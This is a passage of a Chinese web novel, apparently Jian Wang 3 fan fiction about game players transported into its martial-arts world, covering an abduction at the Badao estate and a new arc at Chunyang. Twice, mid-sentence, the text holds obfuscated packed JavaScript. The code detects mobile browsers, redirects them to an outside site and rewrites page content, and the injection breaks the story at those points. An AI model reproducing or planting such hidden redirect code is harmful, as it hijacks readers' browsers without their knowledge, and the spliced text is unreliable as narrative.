“父亲当真如此以为?”柳静海沉声道,“当真觉得刀谷中的奸细便只有四叔手下……” “静海!”柳风骨当即喝止他,“此乃我霸刀山庄家务事。” “但倘若狼牙军从我霸刀得到精兵利器祸乱苍生,那便不止和霸刀相关。”柳静海坚持道,“此非家务事,而是天下事……父亲所言,当真是你心中所想?” 柳风骨只道:“此事我已有应对之策,静海,你是晚辈,莫要插手。” 照月摩挲着膝头的抚今,忽然抬头对燕忘情道:“燕帅,我有个问题想问你。” 燕忘情虽然疑惑,却也配合道:“你问。” “假设有座村子,其中一户人家自祖上继承了惹贼人觊觎的珍宝,此事已经隐约在村子里传开,而这宝物厉害非常,若被那贼人得到,便会给整个村子引来灭顶之灾,于是这户人家的老主人便想了个好主意,偷偷把这宝物转移给同村的好友……” 她没有刻意放低音量,柳家父子最解其中含义,闻言自然皆以锐利目光盯着照月。 燕忘情若有所觉,已经一手握住轻眉刀,一手将照月往自己身后拢了拢:“后来呢?” 照月神色如常:“燕帅,若是你,为了隐藏宝物所在,保住整座村庄,会怎么做?” 虽不知道照月借此喻指什么,燕忘情还是顺势思索道:“既然这户人家或许藏有宝物的消息已经传开,且宝物已被悄悄转移,若为保全村子,不如以自己做诱饵,引那贼人前来,趁机除掉他,永绝后患。” 照月拊掌笑道:“果然是燕帅。可惜我所知道的故事里,原本藏有宝物的人家愈发低调,反倒那位好友渐渐传出了家有重宝的风声,燕帅觉得,这会是何缘故?” 燕忘情眉头紧锁,沉思片刻后诚实地摇摇头:“我……无法理解。难道是原主人背叛好友,意欲祸水东引?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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柳风骨忽然大笑两声,跌坐在主座上,倒真有些传闻中的疯癫之状。 柳静海站起身扶住父亲,又望向照月:“父亲身体不适,我见姑娘也有疲惫之意,不如早些回客房安置,青萍此刻应在院中……今日之事,多谢燕帅,也多谢……江姑娘。” “三庄主不必客气,该是我代苍云军向三庄主道谢才对。”燕忘情道,“此番事已谈妥,忘情不便叨扰,是时候回雁门关了,也再此拜别二位庄主,万望多加保重。” 照月也随之一礼:“三庄主何必谢我,我只讲了个故事而已。” “道谢缘由不仅如此,姑娘心中自明。”柳静海眉梢微挑。 哎呀,还是被柳静海猜到了! 肥啾在她脑袋上蹦了蹦,腹诽道:侠士其实根本没想过彻底隐瞒吧,只不过是因为比起一见面就大喊着“我来帮你”,先匿名帮忙再被当事人猜出身份更能赚好感吧…… 其实如果没有解锁类似好感度系统的声望系统,照月大概也乐意效仿师祖李太白,事了拂衣去,深藏身与名,可是解锁以后嘛……多多益善,多多益善。 想到马上要和燕帅分别,照月心里也有些不舍,以送行为由跟在对方身后亦步亦趋,竟没留心到了一处格外僻静之地。 燕忘情凝神聆听了一番周遭响动,确认再无他人,才转身严肃地望着照月。 照月被她看得心里一个咯噔,却听她长长地叹了口气,无奈道:“照月,你方才……既知怀璧其罪,便莫效稚子怀金过市,如此易惹祸端,着实令人放心不下。” 肥啾连连点头:“听见没有,侠士,燕帅也觉得你不该总是暴露自己异于常人之处……” 照月看着燕忘情,心中暖意流动,她点点头,笑道:“燕帅放心,我有分寸的。” 肥啾看着不以为意的侠士,心里忽然有些恼,左思右想后还是伸出爪子按下了视野中的某个按钮,而照月对此一无所觉。 此时的她只觉得剑三世界能人异士颇多,实在难以蒙混过关,便随意假借某位祖师的名头,对方或是已然作古,或是不会与她这无辜稚子计较…… 哪成想,成也能人异士,败也能人异士,福祸相生,向来如此。 12.世外客身惹横祸 琅玉庭院,柳风骨住处。 照月托着腮坐在一旁,聚精会神地看柳风骨和柳静海对弈。 她对围棋只知一些皮毛,不过单从二人棋风上看,年轻人锐意进取,年长者老成持重,双方已相持许久,暂时难分胜负,也不知是不是故意下成这种局面。 柳风骨还问她:“以江姑娘之见,我父子二人谁当取胜?” 照月扯扯嘴角,答道:“我棋艺不精,不敢妄下定论。” “可觉得无聊?”柳静海心里也十分无奈,他已从任青萍处知晓,自从照月在琅玉庭院小住,父亲便几次三番邀她过来对弈——说是对弈,照月不通棋艺并非谦词,他也不知二人做了什么交谈。 如果照月知道他心中所想,大概十分乐意坦然相告,不过本着最后一丝尊老爱幼的心意,她觉得还是不要把如何揭短柳风骨的事告诉柳静海了。 譬如柳风骨与公孙大娘二娘的旧事啦,他和叶孟秋对子女的隐瞒所造成的悲剧啦,他讳莫如深的韬光养晦之计惹得不明情况的姊妹兄弟不满啦…… 有的是往事已矣,有的是昔人不再,有的是后患无穷。 一局棋一个故事,照月次次都要提心吊胆会不会直接把年岁已高的柳五爷气出好歹,结果人家老当益壮,身子骨没准比她还硬朗。 照月回过神,摇摇头:“观人对弈也不乏乐趣,只不过回头还要麻烦两位长辈帮忙向菲菲和多多解释一二,我绝非有意失约。” “那两个丫头跟你倒合得来……”柳风骨落下一子,叹了口气,又问柳静海,“刀谷那边情况如何?” 柳静海也迅速落子,答道:“赵淮听从柳焰吩咐,每日辛劳挖矿,对冶铸之术似乎也颇有兴趣,与刀谷中其他弟子亦保持正常往来,并未露出马脚。三叔已知此人有异,暗中派人盯梢,四叔……仍是老样子。” 柳风骨叹了口气:“继续盯着吧,四哥……他与那史思明毕竟是好友。” 柳静海抿了抿唇:“自雁门关生变,安史二人野心便昭然若揭,父亲仍觉得可以放任四叔继续与史思明来往吗?” 照月心里更是清楚,因着多多的父亲神算赵明空卜算出北地将有战云阴影牵扯霸刀,柳风骨秘密制定了霸刀山庄的韬光养晦之策,他以为此事关系重大,便要连所有亲戚一并瞒下,却没想过霸刀山庄在外人眼中逐渐没落,庄中之人,尤其柳家之人又岂会甘心? 三爷柳岳秀、四爷柳鸾旗、大奶奶柳廷芳……都对此事有所不满。 加上霸刀藏剑不合所致悲剧,柳家这些姊妹兄弟之间的怨恨与误解只会越来越深。 积重难返,又当断不断,结果自是会反受其害。 虽说这桩桩件件都可以说是柳风骨或者九天中人咎由自取,可若悲剧席卷,绝不只危及一个柳风骨或是一座霸刀山庄。 照月轻叹一声,开口道:“今天的故事,说的乃是一户人丁兴旺的名门望族……” 偏偏这时,熟悉的电子音响起:“系统更新完成,为确保世界秩序与侠士生命安全,请侠士遵守保密协议,除系统允许范围,不可对原住民泄露游戏剧情,不可主动暴露异世来客身份,不可……” 脑海中嗡嗡作响,照月眼前一黑,不知道这算不算泄密的惩罚。 她立刻话锋一转,把原本几乎脱口而出的风雷刀谷副本剧情改成了添油加醋版《红楼梦》概述,最后总结道:“百年世家盘踞一处,纵遇强敌,亦如百足之虫死而不僵,若真要彻底将其杀死,方法不在别处,只在内里。家主因私心放纵家人,自以为可以消弭几分旧怨,可人心难测,贪婪滋生恶念,祸起萧墙,再待亡羊补牢,为时晚矣。” 柳静海叹道:“这样的结局,与父亲口中霸刀山庄既定之路,恐怕也背道而驰吧。” 恰在此时,一名霸刀弟子匆匆跑来报信:“庄主,四爷在刀谷遇到了赵淮,相谈甚欢,可要继续盯着?” 片刻的沉寂过后,柳静海抬手道:“继续吧,小心行事。” 再抬眼,只见柳风骨靠在座椅上,仿佛转眼之间又苍老了十岁。 照月走出这座已经有了些腐朽意味的屋子——让一个年逾古稀的老人承认自己过去做的决定有着根本性的错误,无疑是件极为艰难也极为残酷的事,然而沉疴难愈,欲要彻底根除,必先忍受刮骨疗毒伤筋动骨之痛。 这天之后,照月便没再被柳风骨叫去下棋。 最后一次见面时,她只给那位老爷子留了一句话:“世家大族的家主,往往习惯乾纲独断,若因隐瞒造成误会,恐怕也只觉忍辱负重,自忖问心无愧,甚至……仿佛享受那种顾影自怜的隐忍煎熬。然而圣人也须善于纳谏,一言堂终归不会长久,一家如此,一族如此,一国亦是如此。” 相比于照月,柳静海这几日倒是频繁与老父商讨庄中诸事直至深夜,可惜照月不知道他们交谈内容,也渐渐没了刀谷那边的消息。 也不知道月泉淮有没有露出马脚,原本他是为什么暂时放过多多了呢,她总记得不只是因为源明雅幻化成柳五爷的样子出现…… “照月,照月,你在想什么呢?”琦菲牵着多多在她身边坐下。 “在想——你们两个今天又想整蛊哪个倒霉蛋呢?”照月笑眯眯地说。 琦菲面上浮起一丝恼火:“还不是因为某些人总是在背后嚼舌根,哼,还以为我听不见。” 多多掰着手指细数:“我们已经往那些人身上扔过毛毛虫、让他们跑过腿、给他们喝过符水……今天要做什么呢?” 照月脑袋里仿佛有根筋跳了跳,无奈道:“多多,不是说不能给他们喝符水吗?” “哎呀,我们记得,那些人只是乱嚼舌根,罪不至死,我们只往符水里放了能入口的东西……香灰本身就可以入口!” “你啊……”照月摇头苦笑,“要是再这样,就不给你们讲外面的故事了。” 琦菲忽然问:“照月,外面的天地这么广阔,为什么我和多多只能待在山庄里呢?” 照月看着那双清凌凌的眼睛,心里不由软了几分,温声道:“不会一直这样下去的,一般像我们这种,都是学成武艺,至少有了自保能力,才可以出门游历,不然只会让长辈担心。唔,至少等你能打败霸刀山庄新入门的弟子吧。” 琦菲眼中神采黯淡下去,照月心里不忍,正要开口,却被多多拽了拽衣袖。 “那我们今天来练武吧!”多多提议,“我们两个对照月一个。” 照月点点头:“好啊,不用担心伤到我,先试试能不能抓住我吧。” 虽然听到练武,两个孩子都来了精神,但照月知道,对于琦菲的心事,此刻的快乐也不过只能拖延一时。 琦菲在霸刀山庄的确是备受宠爱的小小姐,却也因为这份浓厚到沉重的爱受到不少约束,加上还有仆人在背后嚼舌根——或许只是同情与怜悯,但都不是她想要的。 夕颜阁悲剧发生时,她已经三岁,对父亲叶炜也并非毫无印象,只是霸刀山庄因为种种缘故对叶炜十分敌视,琦菲便也不曾对敬爱的长辈们提起此事。 结果便是她小小孩童夹在中间,难过、忧愁和少年叛逆慢慢积攒,总有爆发之日。 不过照月也绝不赞成她和多多两个人偷偷离开霸刀去藏剑,路上危险不说,也让爱护她们的人忐忑不安,倒不如把所有人的想法完全说开。 三个少女练了半日功夫,琦菲又被任青萍叫去喝药,多多则趁机把照月带到了一个隐蔽的角落:“我有事要告诉你,照月,你可千万不要告诉其他人!” 照月迟疑道:“你先说,我再决定要不要保密……” 多多气得跺脚:“你怎么这样呀!那我不告诉你了……你不觉得菲菲今天很难过吗?” “又是某些人说她父亲坏话了?”照月眯了眯眼,“我还是觉得最好把这件事告诉任姐姐或者柳五爷,让长辈出面教训那些人,你们的恶作剧只能解一时之气。” “菲菲不想拿这种事……而且你知道的,她爹爹跟庄中有仇……怎么说得出口呢……” “好啦,你不是夸我聪明?这件事交给我,你们放心。”照月戳了戳她的脸,“总之,你们两个绝对不能偷偷跑出山庄,尤其是不能自作主张就这么去藏剑!” “啊?你怎么猜到……”多多垂头丧气,“早知道就不该和你说……” 照月语气严肃地劝她:“人心险恶,江湖上有人行侠仗义,也有人谋财害命,你们两个身份特殊,很容易招来别有用心之人,到那时,你们能保护好自己?要是任姐姐和大奶奶她们知道,得多伤心啊。” 多多乖乖点头:“好吧,你说得对。” 照月笑了笑,牵着她的手道:“那我们快回去吧,菲菲肯定在想办法把药倒掉,要是逃不掉,也该出来找我们了。” “等一下,照月,我其实……”多多抿了抿唇,认真地盯着照月,“前些日子我算了一卦。” 照月心里一惊,起初却没往自己身上想,只以为是月泉淮的事。 多多凑近她的耳朵,低声道:“照月,你其实是……世外之人吧……” “哼,找到你了。” 一道男声忽地从林中传来,草木窸窣之声响起,紫色身影鬼魅一般从中跃出。 照月目光扫过焦点列表,心脏剧烈跳动起来,抬手便是一记疏影横斜。 怎么回事?月泉淮不应该还在风雷刀谷挖矿打铁吗?霸刀的人没有看住他? 她紧紧抓着多多,掐掉影子,两个人一并出现在二十尺之外。 “嗯?竟然还有一只蝼蚁,这招式倒有点新奇……”月泉淮轻笑一声,“不过,既然你有功夫傍身,便以这身内力,为老夫解燃眉之急吧。” 掐影子逃跑的速度根本比不上月泉淮的身法,这人仍旧穿着一身霸刀弟子服,转眼间就将她二人捉住,往一处渡口跃去。 照月这才发现月泉淮身上隐有火光,分明是迦楼罗功法失控,已有自燃之相。 多多已经被他击昏,她则靠系统留存了一分清醒,竭力挣扎着想要求救,最后却只得重重拍下知交系统的召请键,便人事不省了。 再睁开眼睛时,人已在渡口,四肢都被绑着,比起防止她逃跑,更像一种惩罚。 “侠士,你终于醒了!”肥啾简直要哭出来,月泉淮来得太快,从出现在焦点列表到飞身至照月二人身前,不过一眨眼的功夫,它根本来不及提醒,更何况它当时也处在侠士被神算戳穿世外之人身份的惊恐中,忙着把这件事报告主系统。 “我们这是,被月老抓了?”照月在心里问,“我失去意识之后发生了什么?” 不等肥啾回答,照月便觉得自己被一只手翻过来,又被那手的主人揪着衣领拎了起来。 她醒来之后分明一动没动,连眼睛都没眨! “呼吸吐纳的工夫还不到家,醒了就别装睡。”月泉淮懒洋洋的声音传来,却让照月毛骨悚然,“你——究竟是个什么东西?” 这人内力恢复速度之快,乃是他此生前所未见,虽说论内力深厚远不如他那违抗师命的大弟子,但若能取之不尽用之不竭,只需多加培养…… 照月只得睁开眼,以一种极别扭的姿势和他对视。 肥啾正慌张地回答她方才的问题:“月泉淮功法失控了,他不能动多多,正好你在他手边……” “哦,所以他吸了我的内力?也不是第一次——”照月的声音戛然而止,目光不受控制地落到月泉淮胸前。 那里有个红彤彤的巴掌印……嗯,目测跟她的手形状完全一致。 照月:“……”什么啊什么啊什么啊! 肥啾:“……”请不要让我回忆当时的场景。 照月:“……有珍贵情景录像吗?有CG吗?可恶,为什么我一点印象都没有?” 肥啾:“……因为侠士当时在按召请键,位置刚好是……侠士别看了!老妖怪在看你!” 照月下意识抬头,正对上那双危险的眼睛,用沙哑的声音一本正经地答道:“我?咳咳,‘很好……你的内力可为我所用!’‘啊呀呀,这是打哪儿来的一群蝼蚁?’‘又是你……呵,如果求死是门功夫,你倒也算得上是当世高手。’……这些是您老对我的评价。”* 月泉淮脸上露出一言难尽的神情,没理会她的“胡言乱语”,只问:“你的内力是怎么回事?” 照月看了眼自己快涨满的蓝条,没等肥啾解释便已明了自己是被月泉淮抓来当储备粮了。 真是顶好的运气……嗯,至少短期之内应是性命无虞。 照月眨眨眼,重复他的问题:“我的内力?怎么回事?” “鹦鹉学舌。”月泉淮似乎被她气笑了,随手将人丢在一边。 一名黑衣人匆匆赶来,对月泉淮道:“国师,可以启程了。” 月泉淮轻轻颔首:“嗯,此番虽未能找到我那弟子想寻找的武库,却也收获颇丰,若不是我的功法突然失控,误将接头人……也不会如此匆忙……” 肥啾在照月头上慌张乱跳:“侠士,怎么办?援兵还没到, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16358670|183490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们要被老妖怪抓走了吗?” 照月却依旧冷静,趁月泉淮和手下说话的时候从鞋底摸出一个东西,一边悄悄割着绳子,一边冷静地说:“援兵还没到,但我的求救应该成功了吧,眼下只需要拖延一二……” 肥啾:“……侠士什么时候藏的刀片?” 照月答道:“穿来没多久……毕竟是高武世界,有备无患,我也没想到真能派上用场。如果不幸被抓去月泉宗当充电宝……啧,走一步看一步吧,还有反杀的机会,没准还能救下其他人。” 月泉淮或许注意到了她的小动作,或许没有,但他这人极为自负,想必对把她抓回来很有信心,这恰恰是她的机会。 只不过,若他这次记住自己,下次再被抓……住脑!想点吉利的吧!运气已经够差了…… 黑衣人已经抱起还在昏迷的多多,另一个人也在月泉淮吩咐下走向照月。 就在这时,一道苍老的声音传来。 “哪里来的贼子,竟敢在霸刀地界放肆。放下多多和赵姑娘,不然就留下命来。”* 照月眉梢微挑,她看不穿眼前的柳风骨是真身还是源明雅所化,不过称呼自己为“赵姑娘”,恰好为她隐瞒了真实身份,此事绝非巧合…… 月泉淮正要动手,就见柳静海已亲率霸刀山庄精英弟子将这小小渡口团团围住。 抓着照月的黑衣人道:“追兵已至,国师近来身体不适,若再与这些人动手,恐怕……既已知晓神算后人真实身份,不如暂且把她留下,日后再作图谋,至于这个人……” 他的话还没说完,脖颈上忽然出现一道血线,整个人倒了下去,已再无气息。 空中又有一道剑光划过,几有劈山斩岳之威,转眼间渡口边河上已是波涛翻涌,竟将船掀翻了来。 水花四溅,一道青衣白发的身影直直落在照月跟前,身形摇晃,手里还提着一壶酒。 他一把将照月推到霸刀弟子当中,执剑刺向月泉淮脖颈,仰天笑道:“这霸刀山庄好生热闹,老夫也来瞧瞧。” 再看多多,也已经被“柳五爷”救下。 月泉淮避开数招,本欲与这醉酒的剑客再过数百招,奈何五脏六腑隐隐有了灼烧之感,眼看就要发病,恐不敌剑客与柳五合力一击,只能带着手下诸人暂时撤退。 照月站在一群霸刀弟子中,茫然地望着那酒意正酣头发花白的老者朝她走来,一个称呼卡在喉咙里,整个人成了一座雕像。 老者晃晃悠悠走过来,拍拍她的肩:“你这小娃儿,出去几月,连师祖都认不出了?功夫还是不到家,回去多赶几年虾蟆罢,哈哈哈,叫上你师兄,年关将至,回家去了。” “师、师祖……” “刚才吓着了?” “没……” 是活生生的青莲剑仙!还是她的师祖!当初看见剑胆琴心CG立刻决定入坑的原因! “师兄——该回家啦!” 天宝四年腊月,有一叶扁舟自太行山出发,一路南下至千岛湖相知山庄。 同一时刻的龙泉府,脸色蜡黄身体虚弱的年轻女子拎着几包点心,拐入龙泉府中一户平常人家。 这户人家的主人姓李,李大婶连忙迎上来,招呼道:“傅姑娘,你可算回来了。” 傅千枝轻咳几声,解释道:“路上碰见月泉宗的人出行,耽搁了一会儿,不要紧的……似乎是要找到什么世外之人……” 李大婶扶她坐下,劝道:“我知道你为寻亲,一心想入月泉宗,但也要先养好身体……” 傅千枝乖乖点头:“这段时日恐怕要多叨扰婶子了。” “哎呀,说什么叨扰不叨扰,安心住下吧……” 傅千枝在心里缓缓叹了口气。 这都是什么事儿,她一个北天药宗弟子,穿越到了宗门还没建立时的龙泉府,宗主这时候估计刚出稻香村不久…… 更糟糕的是,她头上还顶着药宗玩家背景设定里的病弱debuff,却偏偏接了个混入月泉宗的新手任务,结果没等行动就听说月泉淮在找什么“世外之人”…… 千枝:世外之人……我吗? 还好头上的肥啾从主系统那里查到一些信息,千枝推测应该是和她一样的玩家不幸跟月泉淮狭路相逢,被大boss发现了异常…… 不过,想到已经被改变的部分剧情,千枝又不由多了几分信心。 ——素未谋面的队友们,于道各努力,千里自同风,加油! 不过有些时候,有些任务,不是光靠努力就能完成的。 第九十九次,谢流岚和自己的咩太小号洛长生(注:剑纯)同时扑街在宫中神武遗迹的地板上。 点了回营地复活后,谢流岚熟练操控自己现在的身体和小号一起打坐恢复,两张脸上都是生无可恋的表情。 咩太头上与纯阳掌门神似的肥啾唉声叹气。 本来想着侠士有双开刷百战的丰富经验,打个三十层以下的boss谢云流不是易如反掌,可谁知这新手任务要挑战的竟和此方世界现实中的谢云流完全一致——不,应该说谢流岚穿越自带的金手指秘境系统会把侠士和boss拉到同一场梦里。 谢流岚肩上的九州百人语:“别叹气了!别叹气了!你烦不烦?你烦不烦?” “闭嘴。”谢流岚依旧是那张美丽的面瘫脸,伸出手粗暴地捏住了鹦鹉的喙。 可是这一次,鹦鹉却以前所未有的力度剧烈挣扎起来:“细……鱼……楼……” “小子,扰人清梦也该适可而止。”熟悉的声音离得很近,仿佛只在咫尺。 谢流岚缓缓转动仿佛生锈的脖颈,立马跳起来就要逃,结果却忘了自己还有一具躯壳…… “你……你是……”谢云流望着被他抓住的“小贼”,目光落在对方眉间一点红痣上,声音竟有些颤抖,“师弟……你同我师弟李忘生……是何关系?” 被他抓住手臂露出面容的洛长生没有回答——他只是个点了跟随的小号,号主此刻正在全神贯注地逃命呢。 不远处,石头背后的谢流岚:…… 夭寿了,咩太小号的捏脸是李忘生幼年版…… 纯阳宫,李忘生突然打了个喷嚏,袖口似乎被什么东西咬住,定睛一看,竟是只小龟。 “师傅?” 而远在西域的另一个宗门,两个紫袍金带的身影面向星河,似乎在演算什么。 “劫生北地,异星降世,命盘……已变。西方机缘未至,仍需耐心……” 第一卷完 13.百战梦回华山巅 “昆仑玄境山外山,乾坤阴阳有洞天。只问真君何处有,不向江湖寻剑仙。”说的便是江湖上赫赫有名的纯阳宫,武周长安四年由纯阳子吕洞宾建于华山南峰。* 李唐以道教立国,纯阳宫自建成后经数十年发展,已是时下规模最盛的道观,便是天子,亦会每年上山拜祭。 只是近来,这清修之地颇不太平,究其起因,乃是牵涉纯阳与李唐皇室的一桩陈年旧事。 昔年中宗暴死,韦后临朝,以中宗第四子李重茂为新帝,然不足一月,相王李旦之子李隆基联合太平公主发动唐隆政变,李重茂退位。此后不久,中宗子谯王李重福欲从洛阳起事,兵败身死后牵连李重茂。 吕纯阳座下首徒静虚子谢云流与李重茂少年相交,情谊深厚,惊闻友人或有性命之忧,秉着兄弟义气下山搭救,却因途中遭人背叛暴露身份,回山拜别时话听一半,误以为师傅师弟意图将自己交出,惊惧之下走火入魔,竟打伤毫无防备的吕洞宾,仓皇逃下华山。 从此,年少跻身“武林三秀”之一的纯阳官首徒谢云流,成了人人喊打欺师灭祖的逆贼,纯阳门内也有许多弟子因谢云流打伤吕祖而愤愤不平,甚至迁怒静虚一脉。 谢云流下山之时,静虚大弟子洛风年仅八岁。 洛风婴儿时期便被谢云流带回抚养,视其如父,在师傅叛逃后仿佛一夜成人,安抚师弟师妹,团结静虚门下,其后一直苦心寻找师尊,并希望能为其洗脱罪名,化解与纯阳的误会。 可惜谢云流当初离了华山另有际遇,此后数十年皆在东瀛,近年才重返中原。 误会经年累月不得化解,且弟子间亦时有争斗,静虚一脉在纯阳的处境也愈发尴尬。 尤其近日,洛风听得师傅行踪,带静虚二代弟子外出相寻,同时却忽有大量神策军入驻纯阳,还抓走许多纯阳弟子,似乎亦是与谢云流重返中原之事有关。 洛长生便是这处境尴尬的静虚弟子之一,虽然作为一个穿越者,她并不觉得尴尬。 夜深人静,本似熟睡的洛长生忽地睁开眼,脑海中却还留着谢云流那双惊愕的眼睛。 她又合上眼,灵魂飘到远在洛阳的另一个身体处,发觉周遭并无异样,还被枕头边那只大逆不道的鹦鹉瞪了一眼,这才安心换了回来。 洛长生缩在被子里叹了口气,向床头木架上的李忘生啾确认:“系统,他会记得吗?” 之前进入雁门关之役副本,她还万般期望燕帅薛帅等人一定要记得副本剧情,进入宫中神武遗迹之前她其实也希望谢云流能提前看穿一刀流的阴谋。 当然,她还抱着走完剧情,以原本时间线里洛风的死亡给谢云流警示的打算……然而计划从她发现自己根本接近不了对方的时候就破产了。 但是现在,她只想在心里祈祷谢云流千万要把这个梦忘掉! 李忘生啾歪头理了理羽毛,闻言安慰道:“大多数梦境都会被人忘记,侠士安心。” “但是他说话了。”洛长生却没这么乐观,“还说我们扰他清梦……” “侠士在担心什么?”李忘生啾态度和蔼,“记得如何?忘却如何?祸兮福之所倚,福兮祸之所伏……” 洛长生用被子蒙住脑袋表示了委婉的抗议,片刻后却又钻了出来:“算了,宗主暂时抓不到我。” “侠士现在该称呼‘师傅’。”李忘生啾笑眯眯地提醒她。 “知道了。”洛长生闷闷道。 她不知道别人的穿越感受如何,可要单说她自己,恐怕只有一个“坑”字能够概括。 作为一个自幼喜欢武侠题材作品的女青年,她入坑剑网三的时间很早,中间经历了无数版本赛季,见证了无数新门派的诞生,当过爹也住过下水道,玩过热血PVP也熬夜打过本,现在年纪上来,渐渐成了一条随心所欲的咸鱼。 这赛季她主玩的刀宗,因为——刀宗成男天极套校服是神! 即使是被关进鸿蒙天禁,她也要在小黑屋里用沙哑的声音呐喊:“天极鹦鹉哥就是极品!” 当然,以上仅限于脑补,相识之人只看她那张冷若冰霜的面瘫脸,再联系她平日寡言少语的高冷作风,根本想不到这人脑子里都在想什么。 至于咩太,是她的情怀老号,看名字就知道是宫中神武遗迹副本洛风身死之后取的,充分表达了她作为静虚弟子对这段狗血剧情的不满以及对大师兄的意难平与美好祝愿。 跟目前与她素未谋面的照月一样,洛长生同样没想过自己能穿越到游戏里,甚至拥有了改变这个世界发展的可能。 穿越那天是个寻常的周末,她已经连续加了几天班,好不容易闲下来,又正赶上周常奖励翻倍,就用刀宗大号带着小号咩太双开做百战周常,顺便碰瓷镜中琴音。 也不知怎的,站在谢云流面前,她就隐约觉得自己不太舒服,而且进战后右上角的延迟就忽然标红,让她一个技能都没放出来便眼前一黑,等再睁开眼的时候,人已经躺在宫中神武遗迹的地板上。 身上有些重,好像被什么人压着,再定睛一看,短腿、俊脸、眉心痣……这不是她那名叫洛长生的咩太小号吗? 耳朵边还穿来似人非人的说话声—— “醒了?” “醒了。” “她为什么不起来?” “可能在消化现状。” “两具身体,一个灵魂,要怎么分?” “不管了,她现在是谢流岚,先这样!” 熟悉的界面渐渐出现在她眼前,茫然的侠士迷迷糊糊听懂了对话中的意思,下意识将手放到了自己胸前—— 手感很好,但…… “男的?” 听见这话,刚刚那段对话的主人之一瞬间炸了毛:“不是你天天喊着‘天极鹦鹉哥就是极品’吗?体型是你捏的,脸也是你捏的,怎么还不满意?!” 遭受突然袭击的谢流岚眼疾手快抓住了袭来的鹦鹉,看着这只颇为眼熟的家伙,迟疑道:“江南沧浪子?” 鹦鹉不说话了,只拿一双豆豆眼安静地盯着她,谢流岚忽然打了个哆嗦。 “此为九州百人语。”另一个声音及时阻止了愤怒的小鸟即将对侠士发起的攻击,笑呵呵地说,“九州百人语,一鸟一台戏。” 谢流岚看着眼前冒出来的头冠:“掌门啾?” 九州百人语怒道:“你到底是不是正经刀宗啊!” 谢流岚和李忘生啾同时望向安静立在一旁的另一个身影,含义相当明显。 ——其实,有没有可能,既是刀宗,又是剑纯,在剑三玩家里是件很寻常的事? 一番鸡飞狗跳之后,谢流岚终于搞清现状:“所以,新手任务,击败谢云流?” 李忘生啾点点头,解释道:“这个新手任务并非系统决定,而是因为侠士穿越便带着当时的百战异闻录任务,必须击败该层首领。百战异闻录隶属秘境,因此,侠士除了基础菜单外解锁的初始系统即为秘境系统……” “你好啰嗦。”九州百人语打了个哈欠,“百战三十层的宗主,不是小菜一碟?先把新手任务完成了再说……” 不等李忘生啾继续,一高一矮两个身影已经朝远处的谢云流冲了上去。 “侠士,等一下——” 谢流岚只听见李忘生啾的呼喊,一个技能都没按出,眼前便是一道红光闪过,眨眼间她跟自己的小号便都已经重伤倒地。 再看中央的谢云流,跟她们相距足有五十尺,仍旧静静立在原地,连刀都不曾拔出。 “?”谢流岚疑惑地点了回营地复活,这才听到李忘生啾的未竟之语。 “侠士莫要冲动,这秘境系统大有说法。”李忘生啾挥挥翅膀,“秘境在侠士故乡乃是游戏副本,一切皆为虚构,然在此方世界皆为现实所在,每一首领均为此世之人,秘境剧情发生时间又多在未来,故在系统权衡周旋之下,侠士手中秘境系统便化为一枕南柯之用……” 九州百人语在一旁插话:“你这般文绉绉地解释,她听得懂吗?” 谢流岚忍无可忍,捏住鹦鹉的嘴巴,而后对李忘生啾总结道:“梦境,对吗?” 李忘生啾欣慰点头:“侠士每至一秘境,便相当于令秘境剧情所涉诸人共赴一枕黄粱。为保证侠士精力,每次入眠前只可选择一个秘境进入。” 谢流岚举起手,乖巧问道:“掌……咳,系统,这些人醒后,会记得梦中事吗?” 不等李忘生啾回答,谢流岚脑中便响起一道电子音:“请侠士自行探索。” 谢流岚微微皱眉:“?” 九州百人语忽然发出一阵意味不明的嘟囔,李忘生啾摇摇头,解释道:“侠士可将其视为权限高于我等的主系统,祂要求侠士自行探索,我与小鹦鹉也不知道问题答案。” “小鹦鹉叫谁呢?”九州百人语炸毛抗议,又被谢流岚捏住喙,塞进怀里。 但无论如何,如果秘境剧情发生时间已经过去,就没有这种顾虑了……试炼之地和浪客行这种没有太多剧情的特殊秘境也可以排除。 谢流岚沉思片刻,又 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李忘生啾好心解释:“积极推进,在于行动,不在结果,侠士只需日常努力便可……事在人为。” 懂了,也就是每天要在梦里找死的意思。 谢流岚和自己的小号洛长生一起躺在冰凉的地板上瘫了一会儿,等彻底接受现实才坐起身,问:“支线……” “支线任务在现实世界而非梦中。”李忘生啾答道。 “现世……何年何月?”谢流岚问。 “天宝四年。” 谢流岚大脑一片空白,她知道许多剧情,可有些事太过遥远,早就记不清时间了。 李忘生啾看着她茫然的表情,在九州百人语的嘲笑声里温言解释:“按照侠士所知剧情,此时的侠士应是刚离开稻香村,正要前往师门学艺。” 谢流岚点点头,又面露迟疑。 李忘生啾似是看穿她心中所想,笑呵呵道:“侠士的武学水平自是足以出师。另外,作为新手福利,也便于侠士融入,师门中人会自动补充侠士相关记忆。无论是于此界师门静修,还是在江湖行侠仗义,皆大有可为。” “这时候的刀宗……啧。”九州百人语小声嘀咕了几句,“可恶的东瀛人。” 谢流岚望着对面的洛长生陷入沉思,半晌后缓缓道:“……我有两个号。” 师门静修,江湖行侠……未成年才要做选择,她全都要! 李忘生啾与九州百人语对视一眼,似乎对这个选择并不惊讶。 鹦鹉上下打量她一番,昂起头道:“看你沉默寡言,话都说不利索的模样,野心倒不小……但是别忘了,你只有一个灵魂。” 谢流岚认真思索片刻,问:“魂器?” 